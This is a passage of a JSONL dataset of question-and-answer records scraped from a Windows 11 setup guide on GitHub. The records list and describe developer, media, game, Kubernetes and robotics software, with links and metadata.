Theme](https://marketplace.visualstudio.com/items?itemName=PKief.material-icon-theme) is an extension for Visual Studio Code that gets the Material Design icons into your VS Code.\n\n[One Dark Pro](https://marketplace.visualstudio.com/items?itemName=zhuangtongfa.Material-theme) is an extension for Visual Studio Code that adds Atom's iconic One Dark theme, which is one of the most installed themes for VS Code.\n\n[VSCode Icons](https://marketplace.visualstudio.com/items?itemName=vscode-icons-team.vscode-icons) is an extension for Visual Studio Code that brings icons to your Visual Studio Code setup.\n\n[GitLens](https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens) is an extension for Visual Studio Code that helps you visualize code authorship at a glance via Git blame annotations and code lens, seamlessly navigate and explore Git repositories, gain valuable insights via powerful comparison commands, and so much more.\n\n[Import Cost](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost) is an extension for Visual Studio Code that will display inline in the editor the size of the imported/required package. The extension utilizes webpack with babili-webpack-plugin in order to detect the imported size.\n\n[Markdown All in One](https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one) is an extension for Visual Studio Code that gives you everything you need to write Markdown (keyboard shortcuts, table of contents, auto preview and more).\n\n[Bracket Pair Colorizer](https://marketplace.visualstudio.com/items?itemName=CoenraadS.bracket-pair-colorizer) is an extension for Visual Studio Code that allows matching brackets to be identified with colours. The user can define which characters to match, and which colours to use.\n\n[Auto Rename Tag](https://marketplace.visualstudio.com/items?itemName=formulahendry.auto-rename-tag) is an extension for Visual Studio Code that automatically add HTML/XML close tag, same as Visual Studio IDE or Sublime Text.\n\n[Auto-Close Tag](https://marketplace.visualstudio.com/items?itemName=formulahendry.auto-close-tag) is an extension for Visual Studio Code that automatically add HTML/XML close tag, same as Visual Studio IDE or Sublime Text does.\n\n[Settings Sync](https://marketplace.visualstudio.com/items?itemName=Shan.code-settings-sync) is an extension for Visual Studio Code that synchronizes Settings, Snippets, Themes, File Ico", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521983"}
{"id": "gh_a1db5c11d7b7", "question": "How to: Game Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521988"}
{"id": "gh_04ae6bbd8667", "question": "How to: Game Engines", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Unity](https://unity.com) is a cross-platform game development platform. Use Unity to build high-quality 3D and 2D games, deploy them across mobile, desktop, VR/AR, consoles or the Web, and connect with loyal and enthusiastic players and customers.\n[Unreal Engine 5](https://www.unrealengine.com) is a game engine developed by Epic Games with the world's most open and advanced real-time 3D creation tool. Continuously evolving to serve not only its original purpose as a state-of-the-art game engine, today it gives creators across industries the freedom and control to deliver cutting-edge content, interactive experiences, and immersive virtual worlds.\n[Godot Engine](https://godotengine.org) is a feature-packed, cross-platform game engine to create 2D and 3D games from a unified interface. It provides a comprehensive set of common tools, so that users can focus on making games without having to reinvent the wheel. Games can be exported in one click to a number of platforms, including the major desktop platforms (Linux, Mac OSX, Windows) as well as mobile (Android, iOS) and web-based (HTML5) platforms.\n\n[If you would like to Donate to the Godot Project](https://www.patreon.com/godotengine)\n[Blender](https://www.blender.org) is the free and open source 3D creation suite. It supports the entirety of the 3D pipeline—modeling, rigging, animation, simulation, rendering, compositing and motion tracking, video editing and 2D animation pipeline.\n\n[If you would like to Donate to the Blender Project](https://fund.blender.org/)\n[Unigine](https://unigine.com) is a cross-platform game engine designed for development teams (C++/C# programmers, 3D artists) working on interactive 3D apps.\n[GameMaker Studio 2](https://www.yoyogames.com/gamemaker) is the latest and greatest incarnation of GameMaker. It has everything you need to take your idea from concept to finished game. With no barriers to entry and powerful functionality, GameMaker Studio 2 is the ultimate 2D development environment.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522006"}
{"id": "gh_a219b4e5fe9c", "question": "How to: Augmented Reality (AR) & Virtual Reality (VR)", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[SteamVR](https://store.steampowered.com/steamvr) is the ultimate tool for experiencing VR content on the hardware of your choice. SteamVR supports the Valve Index, HTC Vive, Oculus Rift, Windows Mixed Reality headsets, and others.\nSteamVR Home\n[OpenVR](https://github.com/ValveSoftware/openvr) is an API and runtime that allows access to VR hardware(Steam Index, HTC Vive, and Oculus Rift) from multiple vendors without requiring that applications have specific knowledge of the hardware they are targeting.\n\n[OpenVR Benchmark on Steam](https://store.steampowered.com/app/955610/OpenVR_Benchmark/) is the first benchmark tool for reproducibly testing your real VR performance, rendering inside of your VR headset.\n\n[OpenHMD](http://www.openhmd.net/) is open source API and drivers that supports a wide range of HMD(head-mounted display) devices such as Oculus Rift, HTC Vive, Sony PSVR, and others.\n\n[openXR](https://www.khronos.org/OpenXR/) is a free, open standard that provides high-performance access to Augmented Reality (AR) and Virtual Reality (VR) collectively known as XR—platforms and devices.\n\n[Monado](https://monado.dev/) is the first OpenXR™ runtime for GNU/Linux. Monado aims to jump-start development of an open source XR ecosystem and provide the fundamental building blocks for device vendors to target the GNU/Linux platform.\n\n[Libsurvive](https://github.com/cntools/libsurvive) is a set of tools and libraries that enable 6 dof tracking on lighthouse and vive based systems that is completely open source and can run on any device. It currently supports both SteamVR 1.0 and SteamVR 2.0 generation of devices and should support any tracked object commercially available.\n\n[Simula](https://github.com/SimulaVR/Simula) is a VR window manager for Linux that runs on top of Godot. It takes less than 1 minute to install. Simula is officially compatible with SteamVR headsets equipped with Linux drivers (e.g. HTC Vive, HTC Vive Pro, & Valve Index). We have also added experimental support to OpenXR headsets that have Monado drivers (e.g. North Star, OSVR HDK, and PSVR). Some people have gotten the Oculus Rift S to run Simula via OpenHMD ([see here](https://github.com/OpenHMD/OpenHMD/issues/225#issuecomment-638454156)).\n\n[ARCore](https://developers.google.com/ar/) is a software development kit developed by Google that allows for augmented reality applications in the real world. These tools include environmental understanding, which allows devices to detect horizontal and vertical surfaces and planes. It also includes motion tracking, which lets phones understand and track their positions relative to the world. Also ARCore’s Light Estimation API lets your digital objects appear realistically as if they’re actually part of the physical world.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522021"}
{"id": "gh_8084dccbe2c9", "question": "How to: Game Development Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Unreal Online Learning](https://www.unrealengine.com/en-US/onlinelearning-courses) is a free learning platform that offers hands-on video courses and guided learning paths.\n\n[Unreal Engine Authorized Training Program](https://www.unrealengine.com/en-US/training-partners)\n\n[Unreal Engine for education](https://www.unrealengine.com/en-US/education/)\n\n[Unreal Engine Training & Simulation](https://www.unrealengine.com/en-US/industry/training-simulation)\n\n[Unity Certifications](https://unity.com/products/unity-certifications)\n\n[Getting Started with Vulkan](https://www.khronos.org/vulkan/)\n\n[Autodesk for Games](https://www.autodesk.com/campaigns/autodesk-for-games)\n\n[Getting Started with DirectX 12 Ultimate](https://devblogs.microsoft.com/directx/directx-12-ultimate-getting-started-guide/)\n\n[Game Design Online Courses from Udemy](https://www.udemy.com/courses/Design/Game-Design/)\n\n[Game Design Online Courses from Skillshare](https://www.skillshare.com/browse/game-design)\n\n[Learn Game Design with Online Courses and Classes from edX](https://www.edx.org/learn/game-design)\n\n[Game Design Courses from Coursera](https://www.coursera.org/courses?query=game%20design)\n\n[Game Design and Development Specialization Course from Coursera](https://www.coursera.org/specializations/game-development)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522027"}
{"id": "gh_3ffe24427ad7", "question": "How to: Setting up a macOS workspace", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522032"}
{"id": "gh_fb7d02d4ffce", "question": "How to: Docker OSX", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Docker OSX](https://github.com/sickcodes/Docker-OSX) is a tool that lets you run macOS VM in a Docker container atnear native OSX-KVM in Docker with X11 Forwarding. This project is developed and mantained by [sickcodes](https://github.com/sickcodes).\n\n * [Docker-OSX on Docker Hub](https://hub.docker.com/r/sickcodes/docker-osx)\n\n**MacOS Ventura**\n\n```\ndocker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e GENERATE_UNIQUE=true \\\n    -e MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \\\n    sickcodes/docker-osx:ventura", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522038"}
{"id": "gh_fe5c6c42b1bc", "question": "How to: docker build -t docker-osx --build-arg SHORTNAME=ventura .", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "```\nMacOS Ventura", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522042"}
{"id": "gh_f39620e3eeb4", "question": "How to: OpenCore for macOS", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "**REQUIREMENTS**\n\n   - A modern Linux distribution\n   - QEMU > 2.11.1\n   - A CPU with Intel VT-x / AMD SVM support is required\n   - A CPU with SSE4.1 support is required for >= macOS Sierra\n   - A CPU with AVX2 support is required for >= macOS Mojave\n   - Internet access for the installation process\n\n[OpenCore for macOS](https://dortania.github.io/OpenCore-Install-Guide/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522048"}
{"id": "gh_2b83167acb18", "question": "How to: Android Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n\n[Android Studio](https://developer.android.com/studio/) is the development suite for Google's Android Operating System(OS). It's built on [JetBrains IntelliJ IDEA](https://www.jetbrains.com/idea/) software and designed specifically for Android development. It is available for download on Windows, macOS and Linux.\n[Android Virtual Device (AVD)](https://developer.android.com/studio/run/managing-avds) is a configuration in [Android Studio](https://developer.android.com/studio/intro) that defines the characteristics of an Android phone, tablet, Wear OS, Android TV, or Automotive OS device that you want to simulate in the Android Emulator. The [Android Emulator](https://developer.android.com/studio/run/emulator) simulates Android devices on your computer so that you can test your application on a variety of devices and Android API levels without needing to have each physical device.\n[Genymotion](https://www.genymotion.com/) is a very fast Android emulator. The program itself is based on VirtualBox and is known for its effectively fast speed and is usefulness for running Android apps on a Windows, Mac and Linux desktop.\n\n**Desktop**\n\nLocal virtual devices with high performances.\n\n - Emulate a wide range of virtual device configurations (Android versions, screen size, hardware capacities, etc.)\n - Simulate multiple scenarios thanks to our full set of hardware sensors (GPS, network, multitouch, etc.)\n - Cross-platform: Windows, Mac and Linux\n - Manipulate easily with ADB\n - $412 per year for employees in a company (BUSINESS). All features, advanced support.\n - $136 per year for freelancers (INDIE). All features, best effort support.\n - [Free](https://www.genymotion.com/download/) for personal use only (learning & entertainment). Limited features, no support.\n[Scrcpy](https://github.com/Genymobile/scrcpy) is an application by Genymotion that provides display and control of Android devices connected on USB (or over TCP/IP). It does not require any root access and works on GNU/Linux, Windows and macOS. The Android device requires at least API 21 (Android 5.0).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522057"}
{"id": "gh_207e491de33e", "question": "How to: Professional Audio & Video Editing", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-10-Guide/blob/main/README.md#table-of-contents)\n[H.264(AVC)](https://en.wikipedia.org/wiki/H.264/MPEG-4_AVC) is a video compression standard based on block-oriented and motion-compensated integer-DCT coding that defines multiple profiles (tools) and levels (max bitrates and resolutions) with support up to 8K.\n\n[H.265(HEVC)](https://en.wikipedia.org/wiki/High_Efficiency_Video_Coding) is a video compression standard that is the successor to H.264(AVC). It offers a 25% to 50% better data compression at the same level of video quality, or improved video quality at the same bit-rate.\n\n[FFmpeg](https://ffmpeg.org) is a leading multimedia framework that can decode, encode, transcode, mux, demux, stream, filter and play pretty much anything that humans and machines have created. It supports the most obscure ancient formats up to the cutting edge ones on multiple platforms such as Windows, macOS, and Linux.\n\n[HandBrake](https://handbrake.fr/) is a tool for transcoding video from almost any format with a selection of widely supported codecs. It is supported on Window, macOS, and Linux.\n\n[Dynamic Adaptive Streaming over HTTP (DASH)](https://developer.mozilla.org/en-US/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video) is an adaptive streaming protocol that allows for a video stream to switch between bit rates on the basis of network performance, in order to keep a video playing.\n\n[OpenMAX™](https://www.khronos.org/openmax/) is a cross-platform API that provides comprehensive streaming media codec and application portability by enabling accelerated multimedia components to be developed, integrated and programmed across multiple operating systems and silicon platforms.\n\n[Premiere Pro](https://www.adobe.com/products/premiere.html) is the industry-leading video editing software for film, TV, and the web. Creative tools, integration with other apps and services, and the power of Adobe Sensei help you craft footage into polished films and videos. With [Premiere Rush](https://www.adobe.com/products/premiere-rush.html) you can create and edit new projects from any device.\n\n[DaVinci Resolve](https://www.blackmagicdesign.com/products/davinciresolve/) is the world’s only solution that combines professional 8K editing, color correction, visual effects and audio post production all in one software tool! You can instantly move between editing, color, effects, and audio with a single click. DaVinci Resolve Studio is also the only solution designed for multi user collaboration so editors, assistants, colorists, VFX artists and sound designers can all work live on the same project at the same time.\n\n[Blender](https://www.blender.org/features/video-editing/) comes with a built-in video sequence editor allows you to perform basic actions like video cuts and splicing, as well as more complex tasks like video masking or color grading. The Video Editor includes: Live preview, luma waveform, chroma vectorscope and histogram displays. Audio mixing, syncing, scrubbing and waveform visualization.\n\n[Kdenlive](https://kdenlive.org/en/) is an open source video editing tool that supports unlimited multimedia files. It's based on the MLT Framework, KDE and Qt. People who are looking for a very versatile video editing tool that comes packed with features. The latest 20.08 release is out with nifty features like Interface Layouts, Multiple Audio Stream support, Cached data management and Zoombars in the Clip Monitor and Effects Panel but one may argue that the highlights of this release are stability and interface improvements.\n\n[OpenShot](https://www.openshot.org/) is an open-source video editing tool that's designed for users new in the editing environment. It has simple features such as a simple drag-and-drop function, it provides an easy-to-use and quick-to-learn user interface. The powerful video editor offers tons of efficient ways to cut and trim down your videos. You can freely utilize the unlimited tracks, video effects engine, title editor, 3D animations, slow motion, and time effects. It supports commonly used video codecs that are supported by FFmpeg like WebM (VP9), AVCHD (libx264), HEVC (libx265) and audio codecs like mp3 (libmp3lame) and aac (libfaac). The program can render MPEG4, ogv, Blu-ray and DVD video, and Full HD videos for uploading to the internet video websites like YouTube.\n\n[Lightworks](https://www.lwks.com/) is a non-linear video editing appluication for editing and mastering digital video used by the film industry. Its professional edition has been used for box office hits, such as Shutter Island, Pulp Fiction, and Mission Impossible. Intimidating user interface. Like professional video editors, such as Adobe Premiere Pro, Lightworks is rather complicated to use for new users.\n\n[Shotcut](https://www.shotcut.org/) is an open", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522083"}
{"id": "gh_b5c04f8cb267", "question": "How to: 3D Graphics and Design", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522088"}
{"id": "gh_820ee3c1e1a5", "question": "How to: Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Introduction to Pixar's Universal Scene Description (USD)](https://graphics.pixar.com/usd/docs/index.html)\n\n[Intro to using Universal Scene Description with NVIDIA](https://developer.nvidia.com/usd)\n\n[First steps with Universal Scene Description in Blender](https://code.blender.org/2019/07/first-steps-with-universal-scene-description/)\n\n[Adobe Creative Cloud Training Courses](https://www.adobe.com/products/captivateprime/content-catalog/creative-cloud.html)\n\n[Adobe Creative Cloud Certifications](https://learning.adobe.com/certification.html)\n\n[Blender Foundation](https://www.blender.org/foundation/)\n\n[Blender Foundation Certification Training](https://www.blender.org/certification/)\n\n[Blender Cloud Courses](https://cloud.blender.org/courses)\n\n[Blender Institute](https://www.blender.org/institute/)\n\n[Blender Education](https://www.blender.org/get-involved/)\n\n[Blender Network](https://www.blendernetwork.org/)\n\n[Blender Courses from Udemy](https://www.udemy.com/topic/blender/)\n\n[AutoDesk Learning, Training & Certification](https://www.autodesk.com/training)\n\n[AutoDesk Design Academy](https://academy.autodesk.com)\n\n[AutoDesk Courses and Specializations from Coursera](https://www.coursera.org/autodesk)\n\n[Cinema 4D Quick Tips](https://www.cineversity.com/vidplaylist/cinema_4d_quick_tips)\n\n[Getting Started with Cinema 4D](https://www.cineversity.com/vidplaylist/getting_started_with_cinema_4d_r20)\n\n[AMD Radeon ProRender Developer Suite](https://gpuopen.com/radeon-prorender-suite/)\n\n[Graphic Design Masterclass(Photoshop, Illustrator, InDesign) from Udemy](https://www.udemy.com/course/graphic-design-masterclass-everything-you-need-to-know/)\n\n[Vectr: Beginner's Guide To Graphic Design from udemy](https://www.udemy.com/course/vectr-beginners-guide-to-graphic-design/)\n\n[Canva MasterClass: Design For EveryDay Use from Udemy](https://www.udemy.com/course/canva-masterclass-design-for-everyday-use/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522095"}
{"id": "gh_2fde0546b196", "question": "How to: Kubernetes", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n[Kubernetes (K8s)](https://kubernetes.io/) is an open-source system for automating deployment, scaling, and management of containerized applications.\n**Building Highly-Availability(HA) Clusters with kubeadm. Source: [Kubernetes.io](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/), 2020**\n[Google Kubernetes Engine (GKE)](https://cloud.google.com/kubernetes-engine/) is a managed, production-ready environment for running containerized applications.\n\n[Azure Kubernetes Service (AKS)](https://azure.microsoft.com/en-us/services/kubernetes-service/) is serverless Kubernetes, with a integrated continuous integration and continuous delivery (CI/CD) experience, and enterprise-grade security and governance. Unite your development and operations teams on a single platform to rapidly build, deliver, and scale applications with confidence.\n\n[Amazon EKS](https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html) is a tool that runs Kubernetes control plane instances across multiple Availability Zones to ensure high availability.\n\n[AWS Controllers for Kubernetes (ACK)](https://aws.amazon.com/blogs/containers/aws-controllers-for-kubernetes-ack/) is a new tool that lets you directly manage AWS services from Kubernetes. ACK makes it simple to build scalable and highly-available Kubernetes applications that utilize AWS services.\n\n[Container Engine for Kubernetes (OKE)](https://www.oracle.com/cloud-native/container-engine-kubernetes/) is an Oracle-managed container orchestration service that can reduce the time and cost to build modern cloud native applications. Unlike most other vendors, Oracle Cloud Infrastructure provides Container Engine for Kubernetes as a free service that runs on higher-performance, lower-cost compute.\n\n[Anthos](https://cloud.google.com/anthos/docs/concepts/overview) is a modern application management platform that provides a consistent development and operations experience for cloud and on-premises environments.\n\n[Red Hat Openshift](https://www.openshift.com/) is a fully managed Kubernetes platform that provides a foundation for on-premises, hybrid, and multicloud deployments.\n\n[OKD](https://okd.io/) is a community distribution of Kubernetes optimized for continuous application development and multi-tenant deployment. OKD adds developer and operations-centric tools on top of Kubernetes to enable rapid application development, easy deployment and scaling, and long-term lifecycle maintenance for small and large teams.\n\n[Odo](https://odo.dev/) is a fast, iterative, and straightforward CLI tool for developers who write, build, and deploy applications on Kubernetes and OpenShift.\n\n[Kata Operator](https://github.com/openshift/kata-operator) is an operator to perform lifecycle management (install/upgrade/uninstall) of [Kata Runtime](https://katacontainers.io/) on Openshift as well as Kubernetes cluster.\n\n[Thanos](https://thanos.io/) is a set of components that can be composed into a highly available metric system with unlimited storage capacity, which can be added seamlessly on top of existing Prometheus deployments.\n\n[OpenShift Hive](https://github.com/openshift/hive) is an operator which runs as a service on top of Kubernetes/OpenShift. The Hive service can be used to provision and perform initial configuration of OpenShift 4 clusters.\n\n[Rook](https://rook.io/) is a tool that turns distributed storage systems into self-managing, self-scaling, self-healing storage services. It automates the tasks of a storage administrator: deployment, bootstrapping, configuration, provisioning, scaling, upgrading, migration, disaster recovery, monitoring, and resource management.\n\n[VMware Tanzu](https://tanzu.vmware.com/tanzu) is a centralized management platform for consistently operating and securing your Kubernetes infrastructure and modern applications across multiple teams and private/public clouds.\n\n[Kubespray](https://kubespray.io/) is a tool that combines Kubernetes and Ansible to easily install Kubernetes clusters that can be deployed on [AWS](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/aws.md), GCE, [Azure](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/azure.md), [OpenStack](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/openstack.md), [vSphere](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/vsphere.md), [Packet](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/packet.md) (bare metal), Oracle Cloud Infrastructure (Experimental), or Baremetal.\n\n[KubeInit](https://github.com/kubeinit/kubeinit) provides Ansible playbook", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522128"}
{"id": "gh_e5267cb9f0bd", "question": "How to: Kubernetes Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Getting Kubernetes Certifications](https://training.linuxfoundation.org/certification/catalog/?_sft_technology=kubernetes)\n\n[Getting started with Kubernetes on AWS](https://aws.amazon.com/kubernetes/)\n\n[Kubernetes on Microsoft Azure](https://azure.microsoft.com/en-us/topic/what-is-kubernetes/)\n\n[Intro to Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/kubernetes-dashboard)\n\n[Getting started with Google Cloud](https://cloud.google.com/learn/what-is-kubernetes)\n\n[Getting started with Kubernetes on Red Hat](https://www.redhat.com/en/topics/containers/what-is-kubernetes)\n\n[Getting started with Kubernetes on IBM](https://www.ibm.com/cloud/learn/kubernetes)\n\n[YAML basics in Kubernetes](https://developer.ibm.com/technologies/containers/tutorials/yaml-basics-and-usage-in-kubernetes/)\n\n[Elastic Cloud on Kubernetes](https://www.elastic.co/elastic-cloud-kubernetes)\n\n[Docker and Kubernetes](https://www.docker.com/products/kubernetes)\n\n[Deploy a model to an Azure Kubernetes Service cluster](https://docs.microsoft.com/en-us/azure/machine-learning/how-to-deploy-azure-kubernetes-service?tabs=python)\n\n[Simplify Machine Learning Inference on Kubernetes with Amazon SageMaker Operators](https://aws.amazon.com/blogs/machine-learning/simplify-machine-learning-inference-on-kubernetes-with-amazon-sagemaker-operators/)\n\n[Running Apache Spark on Kubernetes](http://spark.apache.org/docs/latest/running-on-kubernetes.html)\n\n[Kubernetes Across VMware vRealize Automation](https://blogs.vmware.com/management/2019/06/kubernetes-across-vmware-cloud-automation-services.html)\n\n[VMware Tanzu Kubernetes Grid](https://tanzu.vmware.com/kubernetes-grid)\n\n[All the Ways VMware Tanzu Works with AWS](https://tanzu.vmware.com/content/blog/all-the-ways-vmware-tanzutm-works-with-aws)\n\n[VMware Tanzu Education](https://tanzu.vmware.com/education)\n\n[Using Ansible in a Cloud-Native Kubernetes Environment](https://www.ansible.com/blog/how-useful-is-ansible-in-a-cloud-native-kubernetes-environment)\n\n[Managing Kubernetes (K8s) objects with Ansible](https://docs.ansible.com/ansible/latest/collections/community/kubernetes/k8s_module.html)\n\n[Setting up a Kubernetes cluster using Vagrant and Ansible](https://kubernetes.io/blog/2019/03/15/kubernetes-setup-using-ansible-and-vagrant/)\n\n[Running MongoDB with Kubernetes](https://www.mongodb.com/kubernetes)\n\n[Kubernetes Fluentd](https://docs.fluentd.org/v/0.12/articles/kubernetes-fluentd)\n\n[Understanding the new GitLab Kubernetes Agent](https://about.gitlab.com/blog/2020/09/22/introducing-the-gitlab-kubernetes-agent/)\n\n[Kubernetes Contributors](https://www.kubernetes.dev/)\n\n[KubeAcademy from VMware](https://kube.academy/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522137"}
{"id": "gh_85dbe7b2acc8", "question": "How to: Machine Learning", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522142"}
{"id": "gh_926c1131b98d", "question": "How to: Tools for Robotics", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[ROS](https://www.ros.org/) is robotics middleware. Although ROS is not an operating system, it provides services designed for a heterogeneous computer cluster such as hardware abstraction, low-level device control, implementation of commonly used functionality, message-passing between processes, and package management.\n\n[ROS2](https://index.ros.org/doc/ros2/) is a set of [software libraries and tools](https://github.com/ros2) that help you build robot applications. From drivers to state-of-the-art algorithms, and with powerful developer tools, ROS has what you need for your next robotics project. And it’s all open source.\n\n[Robot Framework](https://robotframework.org/) is a generic open source automation framework. It can be used for test automation and robotic process automation. It has easy syntax, utilizing human-readable keywords. Its capabilities can be extended by libraries implemented with Python or Java.\n\n[The Robotics Library (RL)](https://github.com/roboticslibrary/rl) is a self-contained C++ library for robot kinematics, motion planning and control. It covers mathematics, kinematics and dynamics, hardware abstraction, motion planning, collision detection, and visualization.RL runs on many different systems, including Linux, macOS, and Windows. It uses CMake as a build system and can be compiled with Clang, GCC, and Visual Studio.\n\n[MoveIt](https://moveit.ros.org/) is the most widely used software for manipulation and has been used on over 100 robots. It provides an easy-to-use robotics platform for developing advanced applications, evaluating new designs and building integrated products for industrial, commercial, R&D, and other domains.\n\n[AutoGluon](https://autogluon.mxnet.io/index.html) is toolkit for [Deep learning](https://gitlab.com/maos20008/intro-to-machine-learning) that automates machine learning tasks enabling you to easily achieve strong predictive performance in your applications. With just a few lines of code, you can train and deploy high-accuracy deep learning models on tabular, image, and text data.\n\n[Gazebo](http://gazebosim.org/) accurately and efficiently simulates indoor and outdoor robots. You get a robust physics engine, high-quality graphics, and programmatic and graphical interfaces.\n\n[Robotics System Toolbox](https://www.mathworks.com/products/robotics.html) provides tools and algorithms for designing, simulating, and testing manipulators, mobile robots, and humanoid robots. For manipulators and humanoid robots, the toolbox includes algorithms for collision checking, trajectory generation, forward and inverse kinematics, and dynamics using a rigid body tree representation.\nFor mobile robots, it includes algorithms for mapping, localization, path planning, path following, and motion control. The toolbox provides reference examples of common industrial robot applications. It also includes a library of\ncommercially available industrial robot models that you can import, visualize, and simulate.\n\n[Intel Robot DevKit](https://github.com/intel/robot_devkit) is the tool to generate Robotics Software Development Kit (RDK) designed for autonomous devices, including the ROS2 core and capacibilities packages like perception, planning, control driver etc. It provides flexible build/runtime configurations to meet different autonomous requirement on top of diversity hardware choices, for example use different hareware engine CPU/GPU/VPU to accelerate AI related features.\n\n[Arduino](https://www.arduino.cc/) is an open-source platform used for building electronics projects. Arduino consists of both a physical programmable circuit board (often referred to as a microcontroller) and a piece of software, or IDE (Integrated Development Environment) that runs on your computer, used to write and 